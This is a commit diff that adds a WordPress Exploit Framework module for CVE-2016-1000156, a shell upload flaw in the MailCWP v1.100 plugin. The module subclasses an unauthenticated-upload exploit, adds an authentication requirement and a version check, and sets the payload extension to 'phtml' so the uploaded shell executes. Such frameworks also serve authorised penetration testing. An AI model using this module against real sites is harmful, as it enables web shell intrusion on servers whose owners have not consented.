Add MailCWP v1.100 authenticated shell upload

Author: rastating

modules/exploits/mailcwp_authenticated_shell_upload.rb

@@ -0,0 +1,33 @@
+require_relative './mailcwp_unauthenticated_shell_upload'
+
+class Wpxf::Exploit::MailcwpAuthenticatedShellUpload < Wpxf::Exploit::MailcwpUnauthenticatedShellUpload
+  def initialize
+    super
+
+    update_info(
+      name: 'MailCWP v1.100 Authenticated Shell Upload',
+      author: [
+        'Larry W. Cashdollar',            # Discovery and disclosure
+        'Rob Carr <rob[at]rastating.com>' # WPXF module
+      ],
+      references: [
+        ['WPVDB', '8090'],
+        ['CVE', '2016-1000156'],
+        ['URL', 'http://www.vapidlabs.com/advisory.php?v=175']
+      ],
+      date: 'Nov 01 2016'
+    )
+  end
+
+  def check
+    check_plugin_version_from_readme('mailcwp', '1.101')
+  end
+
+  def requires_authentication
+    true
+  end
+
+  def payload_name_extension
+    'phtml'
+  end
+end